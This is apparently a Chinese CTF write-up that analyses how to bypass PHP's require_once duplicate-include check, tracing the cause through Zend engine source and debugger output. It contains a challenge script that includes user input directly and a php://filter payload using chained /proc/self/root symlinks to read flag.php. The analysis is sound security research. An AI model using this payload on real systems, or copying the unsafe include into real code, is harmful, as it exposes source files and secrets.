php源码分析 require_once 绕过不能重复包含文件的限制
require_once
在调用时php会检查该文件是否已经被包含过,如果是则不会再次包含,那么我们可以尝试绕过这个机制吗?不写入webshell只读文件有办法吗?
error_reporting(E_ALL);require_once('flag.php');highlight_file(__FILE__);if(isset($_GET['content'])) {$content = $_GET['content'];require_once($content);} //题目的代码来自WMCTF2020 make php great again 2.0 绕过require_once是预期解
require_once('flag.php')
,已经include的文件不可以再require_once。
/proc/self
指向当前进程的
/proc/pid/
,
/proc/self/root/
是指向
/
的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,payload:
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php//result PD9waHAKCiRmbGFnPSJ0ZXN0e30iOwo=
zend_execute.c: zend_include_or_eval()
这个函数看起,这里有一堆switch case:
case ZEND_REQUIRE_ONCE: {zend_file_handle file_handle;zend_string *resolved_path;resolved_path = zend_resolve_path(Z_STRVAL_P(inc_filename), (int)Z_STRLEN_P(inc_filename));//解析文件的真实路径,按文件的真实路径去访问文件//如果不存在则先不动,原样复制,后面用zend_stream_open伪协议的办法访问//若文件名给定的是scheme://开头的字符串,只有当wrapper == &php_plain_files_wrapper的时候fopen_wrappers.c: php_resolve_path()才对路径进行解析,否则返回NULL//很明显,我们给的是个php://伪协议,所以zend_resolve_path失败,返回NULL,进入else。if (resolved_path) {//绕过去了if (zend_hash_exists(&EG(included_files), resolved_path)) {//去哈希表匹配对应的文件路径goto already_compiled;}} else {//现在直接拷贝,原来什么样现在什么样resolved_path = zend_string_copy(Z_STR_P(inc_filename));}//开始用伪协议的方式进行文件包含,路径解析的结果将被写入file_handle.opened_path里if (SUCCESS == zend_stream_open(ZSTR_VAL(resolved_path), &file_handle)) {//解析结果:/proc/24273/root/proc/self/root/var/www/html/flag.phpif (!file_handle.opened_path) {//不会被执行file_handle.opened_path = zend_string_copy(resolved_path);}if (zend_hash_add_empty_element(&EG(included_files), file_handle.opened_path)) {zend_op_array *op_array = zend_compile_file(&file_handle, (type==ZEND_INCLUDE_ONCE?ZEND_INCLUDE:ZEND_REQUIRE));zend_destroy_file_handle(&file_handle);zend_string_release(resolved_path);if (Z_TYPE(tmp_inc_filename) != IS_UNDEF) {zend_string_release(Z_STR(tmp_inc_filename));}return op_array;} else {zend_file_handle_dtor(&file_handle);already_compiled:new_op_array = ZEND_FAKE_OP_ARRAY;}} else {if (type == ZEND_INCLUDE_ONCE) {zend_message_dispatcher(ZMSG_FAILED_INCLUDE_FOPEN, Z_STRVAL_P(inc_filename));} else {zend_message_dispatcher(ZMSG_FAILED_REQUIRE_FOPEN, Z_STRVAL_P(inc_filename));}}zend_string_release(resolved_path);}break;
/flag.php/../flag.php
最后还是会回到
/flag.php
,php可不傻),然后再放进哈希表里匹配。
index.php -> flag.php -> $content
所以我们给了个伪协议,就先绕过去了,但是如果
/proc/self/root
的长度给短了,会发现解析出来的
opened_path
变成了
/var/www/html/flag.php
,为什么呢?我们可以跟踪一下代码,当进行
require_once($content)
跟进
zend_stream_open()
,找到
opened_path
被修改的地方。
0x01 步入正轨
php_stream_open_for_zend_ex
里,
&handle->opened_path
的指针被作为第三个参数传递出去了,给了
_php_stream_open_wrapper_ex()
,然后经过一番波折返回回去。
&handle->opened_path
,这里是
0x7ffd908b3580
。,我们得知道它在哪里被修改的,修改的值在哪生成的。先发现它是由
plain_wrapper.c: _php_stream_fopen()
第1026行进行写入:
/*此时_php_stream_open_wrapper_ex执行到了这里:if (wrapper) {if (!wrapper->wops->stream_opener) {php_stream_wrapper_log_error(wrapper, options ^ REPORT_ERRORS,"wrapper does not support stream open");} else {----> stream = wrapper->wops->stream_opener(wrapper,path_to_open, mode, options ^ REPORT_ERRORS,opened_path, context STREAMS_REL_CC);}*/fd = php_win32_ioutil_open(realpath, open_flags, 0666);fd = open(realpath, open_flags, 0666);if (fd != -1) {if (options & STREAM_OPEN_FOR_INCLUDE) {ret = php_stream_fopen_from_fd_int_rel(fd, mode, persistent_id);} else {ret = php_stream_fopen_from_fd_rel(fd, mode, persistent_id);}if (ret) {if (opened_path) {//由realpath写入opened_path*opened_path = zend_string_init(realpath, strlen(realpath), 0);}if (persistent_id) {efree(persistent_id);}
0x7ffebc13cd50
。
expand_filepath
它改写了
realpath
,而
realpath
就是想要的
/proc/24273/root/proc/self/root/var/www/html/flag.php
:
if (options & STREAM_ASSUME_REALPATH) {//直接把传入的filename当成真实路径处理,然而没有执行这里strlcpy(realpath, filename, sizeof(realpath));} else {if (expand_filepath(filename, realpath) == NULL) {//对文件名进行路径扩展,找到真实的路径return NULL;}}
virtual_file_ex
里,调用
tsrm_realpath_r
获取解析结果
resolved_path
,处理了一番,把结果通过
state
带回去
add_slash = (use_realpath != CWD_REALPATH) && path_length > 0 && IS_SLASH(resolved_path[path_length-1]);t = CWDG(realpath_cache_ttl) ? 0 : -1;path_length = tsrm_realpath_r(resolved_path, start, path_length, &ll, &t, use_realpath, 0, NULL);//路径解析结果真正是从tsrm_realpath_r来的,通过resolved_path传过来//值就是'/proc/24273/root/proc/self/root/var/www/html/flag.php'//然后经过下面的处理一下,实际上根本没处理什么...if (verify_path) {...} else {state->cwd_length = path_length;tmp = erealloc(state->cwd, state->cwd_length+1);state->cwd = (char *) tmp;//在这里把结果先写入了state->cwd,通过这个state把结果带回去memcpy(state->cwd, resolved_path, state->cwd_length+1);ret = 0;}/* Stacktracevirtual_file_ex zend_virtual_cwd.c:1385expand_filepath_with_mode fopen_wrappers.c:816expand_filepath_ex fopen_wrappers.c:754expand_filepath fopen_wrappers.c:746_php_stream_fopen plain_wrapper.c:991*/
expand_filepath_with_mode
这里写入:
if (virtual_file_ex(&new_state, filepath, NULL, realpath_mode)) {//刚才的virtual_file_ex没忘吧,结果在new_state->cwd里面efree(new_state.cwd);return NULL;}if (real_path) {copy_len = new_state.cwd_length > MAXPATHLEN - 1 ? MAXPATHLEN - 1 : new_state.cwd_length;memcpy(real_path, new_state.cwd, copy_len);//在这在这,这里写进去了,不信看看real_path的地址是不是0x7ffebc13cd50real_path[copy_len] = '\0';} else {real_path = estrndup(new_state.cwd, new_state.cwd_length);}
0x02 路径的解析
tsrm_realpath_r
是用来解析真实路径的,这一堆解析字符串的代码看着就让人头大,而且还递归调用。
. .. //
等进行特殊处理,特殊处理后重新调整路径的总长度,比如遇到
/var/www/..
的时候就移除掉
www/..
,剩下
/var
,再进行下面的操作。最后把路径传入
tsrm_realpath_r
继续递归调用。
/var/www/html/1.php -> /var/www/html -> /var/www
。
tsrm_realpath_r
的首行,重新跟的时候数下递归了几次,找到这次调用有啥不同,最简单的办法就是递归几次就按几次F9(继续执行程序),为了方便起见,我们把来自1137行的调用记为第
n
次递归,简称
(n)
:
tsrm_realpath_r zend_virtual_cwd.c:756 (n+4) return 1tsrm_realpath_r zend_virtual_cwd.c:1124 (n+3) return 1tsrm_realpath_r zend_virtual_cwd.c:1164 (n+2) return 5tsrm_realpath_r zend_virtual_cwd.c:1164 (n+1)tsrm_realpath_r zend_virtual_cwd.c:1137 (n)tsrm_realpath_r zend_virtual_cwd.c:1164 (n-1)tsrm_realpath_r zend_virtual_cwd.c:1164...tsrm_realpath_r zend_virtual_cwd.c:1164 (1)tsrm_realpath_r zend_virtual_cwd.c:1164
ZEND_WIN32
的无关部分,实际上我们可以发现,每次递归都会对
. .. //
特殊情况进行处理,然后之前的一大堆
(0)...(n-1)
,
php_sys_lstat(path, &st)
的返回值都是
-1
,而到了
(n)
,可以发现
php_sys_lstat(path, &st)
为
0
static int tsrm_realpath_r(char *path, int start, int len, int *ll, time_t *t, int use_realpath, int is_dir, int *link_is_dir) /* {{{ */{int i, j, save;int directory = 0;...zend_stat_t st;realpath_cache_bucket *bucket;char *tmp;ALLOCA_FLAG(use_heap)while (1) {if (len <= start) {if (link_is_dir) {*link_is_dir = 1;}return start;}i = len;while (i > start && !IS_SLASH(path[i-1])) {i--;}/* 对. .. //这三种情况进行特殊处理 */if (i == len ||(i == len - 1 && path[i] == '.')) {/* remove double slashes and '.' */...} else if (i == len - 2 && path[i] == '.' && path[i+1] == '.') {/* remove '..' and previous directory */...}path[len] = 0;save = (use_realpath != CWD_EXPAND);if (start && save && CWDG(realpath_cache_size_limit)) {/* cache lookup for absolute path */...}...//(0)...(n-1)的save值到这都是1if (save && php_sys_lstat(path, &st) < 0) {//(0)..(n-1)可以进入到这里,因为php_sys_lstat(path, &st)=-1,而(n)以及之后的都不行!if (use_realpath == CWD_REALPATH) {/* file not found */return -1;}/* continue resolution anyway but don't save result in the cache *///(0)..(n-1)的save都是0save = 0;}tmp = do_alloca(len+1, use_heap);//把path拷贝一份给tmpmemcpy(tmp, path, len+1);//因为(n)的save是1,所以继续判断是不是符号链接//st.st_mode是文件的类型和权限,S_ISLNK返回是不是符号链接if (save && S_ISLNK(st.st_mode)) {//调用前的path为://php_sys_readlink就是读取符号链接所指向的真实位置,并写入到path变量,j是长度if (++(*ll) > LINK_MAX || (j = php_sys_readlink(tmp, path, MAXPATHLEN)) < 0) {/* too many links or broken symlinks */free_alloca(tmp, use_heap);return -1;}path[j] = 0;//末尾补上\0,完成读取,此时的path是进程的pidif (IS_ABSOLUTE_PATH(path, j)) {//j = tsrm_realpath_r(path, 1, j, ll, t, use_realpath, is_dir, &directory);if (j < 0) {free_alloca(tmp, use_heap);return -1;}j = tsrm_realpath_r(path, 1, j, ll, t, use_realpath, is_dir, &directory);if (j < 0) {free_alloca(tmp, use_heap);return -1;}} else {if (i + j >= MAXPATHLEN-1) {free_alloca(tmp, use_heap);return -1; /* buffer overflow */}memmove(path+i, path, j+1);memcpy(path, tmp, i-1);path[i-1] = DEFAULT_SLASH;j = ifif (i - 1 <= start) {j = start;} else {/* some leading directories may be unaccessable */j = tsrm_realpath_r(path, start, i-1, ll, t, save ? CWD_FILEPATH : use_realpath, 1, NULL); //第1164行,(1)...(n)的调用来源。if (j > start) {path[j++] = DEFAULT_SLASH;}}if (j < 0 || j + len - i >= MAXPATHLEN-1) {free_alloca(tmp, use_heap);return -1;}memcpy(path+j, tmp+i, len-i+1);j += (len-i);}if (save && start && CWDG(realpath_cache_size_limit)) {/* save absolute path in the cache */realpath_cache_add(tmp, len, path, j, directory, *t);}free_alloca(tmp, use_heap);return j;}}
0x03 符号链接
php_sys_lstat()
是啥?
php_sys_lstat()
实际上就是linux的
lstat()
,这个函数是用来获取一些文件相关的信息,成功执行时,返回0。失败返回-1,并且会设置
errno
,因为之前符号链接过多,所以
errno
就都是
ELOOP
,符号链接的循环数量真正取决于
SYMLOOP_MAX
,这是个
runtime-value
,它的值不能小于
_POSIX_SYMLOOP_MAX
。
php_sys_lstat()
之后调用
perror()
验证
errno
是不是
ELOOP
。
sysconf(_SC_SYMLOOP_MAX)
和
sysconf(_POSIX_SYMLOOP_MAX)
,但是这回没有成功,
SYMLOOP_MAX
居然是
-1
,那我们用其他办法获取,最简单的办法就是手动实践,暴力获取。
import osos.system("echo 233> l00")for i in range(0,99):os.system("ln -s l%02d l%02d"%(i,i+1))
l42
这个符号链接就无效了,最后一个有效的符号链接是
l41
,所以有效的应该是
41->40, 40->39 ..., 01->00
,一共41个,所以
SYMLOOP_MAX
是
40
,指向符号链接的符号链接的个数是40。
/proc/self/root
拼一起,从后往前倒,递归调用
tsrm_real_path_r
,直到
php_sys_lstat
返回
0
,即成功。
/proc/self
是个符号链接指向当前进程
pid
,
self
底下的
root
也是个符号链接,所以算下,也是41个,正正好吧?
> a = "/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self"> print(a.count("self")+a.count("root"))41
lstat("/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self") 返回 0lstat("/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root") 返回 -1
0x04 递归逐层剖析
php_sys_lstat()
为1,在
(n)
它干了什么?
//刚刚调试的结果是(n)以及它之后的save都为1//"/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self"就是/proc/self,是个符号链接,为进程的pid,S_ISLNK判断是不是符号链接if (save && S_ISLNK(st.st_mode)) {//调用前的path为://php_sys_readlink就是读取符号链接所指向的真实位置,并写入到path变量,j是长度if (++(*ll) > LINK_MAX || (j = php_sys_readlink(tmp, path, MAXPATHLEN)) < 0) {/* too many links or broken symlinks */free_alloca(tmp, use_heap);return -1;}path[j] = 0;//末尾补上\0,完成读取,此时的path是进程的pid,path="24273"if (IS_ABSOLUTE_PATH(path, j)) {//很明显"24273"不是个绝对路径,去看elsej = tsrm_realpath_r(path, 1, j, ll, t, use_realpath, is_dir, &directory);if (j < 0) {free_alloca(tmp, use_heap);return -1;}} else {if (i + j >= MAXPATHLEN-1) {free_alloca(tmp, use_heap);return -1; /* buffer overflow */}//开始构造路径,先把path[0...j]往后挪,放到path[i]的位置上//j+1是个数,从下标0到下标j当然是j+1个memmove(path+i, path, j+1);//把tmp[0...i-1]拷贝回path[0...i-2]//i-1是个数,下标0到下标i-2是i-1个memcpy(path, tmp, i-1);path[i-1] = DEFAULT_SLASH;//加个/上去,这时候的path://"/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/24273"j = tsrm_realpath_r(path, start, i + j, ll, t, use_realpath, is_dir, &directory);//进行(n+1)的递归调用if (j < 0) {free_alloca(tmp, use_heap);return -1;}}if (link_is_dir) {*link_is_dir = directory;}}
} else {if (save) {directory = S_ISDIR(st.st_mode);//由传入的link_is_dir变量,是的话把指针指向directoryif (link_is_dir) {*link_is_dir = directory;}if (is_dir && !directory) {/* not a directory */free_alloca(tmp, use_heap);return -1;}}if (i - 1 <= start) {j = start;} else {/* some leading directories may be unaccessable *///1164行,又进到了这里,save=1,进行(n+2)递归调用,把自己的use_realpath参数也给传进去。//path没变,和(n)一样,但是传入的link_is_dir变成了NULLj = tsrm_realpath_r(path, start, i-1, ll, t, save ? CWD_FILEPATH : use_realpath, 1, NULL);//拿到的j=1if (j > start) {path[j++] = DEFAULT_SLASH;}}...if (j < 0 || j + len - i >= MAXPATHLEN-1) {free_alloca(tmp, use_heap);return -1;}//前面拿到j=1,tmp[i...len-i]复制到path[1...1+len-i]//就是把tmp的最后几个字符复制到path的前面去memcpy(path+j, tmp+i, len-i+1);j += (len-i);//重新计算总长度,返回回去,新的path是"/proc",j=5。}
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc
tsrm_realpath_r
前面的处理,path的最后一个
/proc
没了,这时候剩下的
/proc/self.../root
就又是一个符号链接。
/
。
if (++(*ll) > LINK_MAX || (j = php_sys_readlink(tmp, path, MAXPATHLEN)) < 0) {/* too many links or broken symlinks */free_alloca(tmp, use_heap);return -1;}path[j] = 0;//path = "/", j = 1if (IS_ABSOLUTE_PATH(path, j)) {//进到了这里 is_dir =1 ,directory=0,进行(n+4),这是最后一次//tsrm_realpath_r("/", 1, 1, ll, t, 1, 1, &directory),返回值为j=1j = tsrm_realpath_r(path, 1, j, ll, t, use_realpath, is_dir, &directory);if (j < 0) {free_alloca(tmp, use_heap);return -1;}} else {...}if (link_is_dir) {*link_is_dir = directory;}
0x05 递归调用返回
len <= start
,所以直接提前返回,返回值为
start=1
:
while (1) {//len=1,start=1if (len <= start) {if (link_is_dir) {*link_is_dir = 1;}return start;}
1
,但是(n+2)返回(n+1)的时候做了别的事情:
} else {if (save) {...}if (i - 1 <= start) {j = start;} else {/* some leading directories may be unaccessable */j = tsrm_realpath_r(path, start, i-1, ll, t, save ? CWD_FILEPATH : use_realpath, 1, NULL);//j=1, start=1if (j > start) {path[j++] = DEFAULT_SLASH;}}if (j < 0 || j + len - i >= MAXPATHLEN-1) {free_alloca(tmp, use_heap);return -1;}//前面拿到j=1,tmp[1...len-i]复制到path[1...1+len-i]//len是原来传进来的字符串的总长度,i和len是tsrm_real_path_r对'.. . //'特殊处理之前决定的//比如path是'/var/www/html/',那这里的i就在html之后的/上面/*761 i = len;762 while (i > start && !IS_SLASH(path[i-1])) {763 i--;764 }*///memcpy(path+j, tmp+i, len-i+1);j += (len-i);//重新计算总长度,返回回去,新的path是"/proc/",j=5,最后返回给(n+1)。}
} else {if (save) {...}if (i - 1 <= start) {j = start;} else {/* some leading directories may be unaccessable */j = tsrm_realpath_r(path, start, i-1, ll, t, save ? CWD_FILEPATH : use_realpath, 1, NULL);//path="/proc", j=5, start=1if (j > start) {path[j++] = DEFAULT_SLASH;//末尾加个'/', j+=1, 现在j=6}}if (j < 0 || j + len - i >= MAXPATHLEN-1) {free_alloca(tmp, use_heap);return -1;}//前面拿到j=6,tmp[i...len-i]复制到path[6...6+len-i]/*tmp="/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/74079"*/memcpy(path+j, tmp+i, len-i+1);j += (len-i);//重新计算总长度,返回回去,新的path是"/proc/24273",j=11,最后返回给(n)。}
/proc/24273/root/proc/self/root/var/www/html/flag.php
- End -
精彩推荐
